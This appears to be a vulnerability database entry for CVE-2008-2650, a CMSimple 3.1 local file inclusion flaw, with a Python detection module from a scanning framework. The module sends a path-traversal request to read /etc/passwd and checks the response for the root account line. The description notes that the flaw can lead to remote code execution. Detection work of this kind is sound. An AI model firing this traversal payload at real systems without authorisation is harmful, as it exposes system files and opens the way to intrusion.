CMSimple 3.1 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2008-2650 | 31 May 200800:00 | – | circl | |
| CVE-2008-2650 | 10 Jun 200818:00 | – | cve | |
| CVE-2008-2650 | 10 Jun 200818:00 | – | cvelist | |
| CMSimple 3.1 - Local File Inclusion / Arbitrary File Upload | 31 May 200800:00 | – | exploitdb | |
| EUVD-2008-2645 | 7 Oct 202500:30 | – | euvd | |
| CMSimple 3.1 - Local File Inclusion | 14 Oct 202602:05 | – | nuclei | |
| CVE-2008-2650 | 10 Jun 200818:32 | – | nvd | |
| Directory traversal | 10 Jun 200818:32 | – | prion | |
| CVE-2008-2650: Improper Limitation of a Pathname to a Restricted Directory | 10 Jun 200800:00 | – | rapid7 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CMSimple 3."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'CMSimple 3.1 - Local File Inclusion Detection',
'description': 'CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2008', 'lfi', 'cmsimple', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17',
'http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463',
'https://nvd.nist.gov/vuln/detail/CVE-2008-2650',
'https://exchange.xforce.ibmcloud.com/vulnerabilities/42792',
'https://exchange.xforce.ibmcloud.com/vulnerabilities/42793',
],
'cve': 'CVE-2008-2650',
}
def run(self):
path = '/index.php?sl=../../../../../../../etc/passwd%00'
r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'})
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='medium', reason='CMSimple 3.1 - Local File Inclusion detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6.4Medium risk
Vulners AI Score6.4
CVSS 26.8
EPSS0.18809